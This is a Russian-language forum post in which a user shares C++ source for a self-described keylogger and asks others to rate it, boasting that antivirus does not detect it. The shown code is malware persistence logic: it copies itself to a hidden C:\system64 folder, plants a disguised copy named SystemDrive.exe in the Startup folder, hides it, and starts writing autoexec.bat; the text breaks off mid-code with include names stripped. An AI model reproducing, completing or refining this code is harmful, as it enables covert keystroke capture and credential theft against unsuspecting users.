Показать сообщение отдельно

  #1  
Старый 29.08.2017, 16:09
JiEn
Guest
Сообщений: n/a
Провел на форуме:
4659

Репутация: 0
По умолчанию

Привет, написал месяц назад кейлоггер на Си Плюсах, оцените пожалуйста. Использовал хук GetAsyncKeyState(), антивирусами не палится. А еще укажите на ошибки в синтаксисе если таковые имеются.

Заранее прошу прощения за кодировку комментариев.

#include

#include

#include

#include

#include

#include

#include

using namespace std;

int CALLBACK WinMain(

HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow

)

{

//%appdata%/Microsoft\Windows\Start Menu\Programs\Startup

char dir_pl[1024];

GetModuleFileName(NULL, dir_pl, 1024);

time_t now = time(0);

char* dt = ctime(&now);

char buffer[1024];

GetEnvironmentVariable("APPDATA", (char*)&buffer, sizeof(buffer));

//-------------------------------------------------

CreateDirectory("C:\\system64", NULL);

SetFileAttributes("C:\\system64",FILE_ATTRIBUTE_HI DDEN);

//-------------------------------------------------

CopyFile(dir_pl, "C:\\system64\\sys.exe", FALSE);

CopyFile(dir_pl, strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"), FALSE);

SetFileAttributes(strcat(buffer, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SystemDrive.exe"),FILE_AT TRIBUTE_HIDDEN);

//-------------------------------------------------

ofstream fut("C:\\autoexec.bat");

fut
 
Ответить с цитированием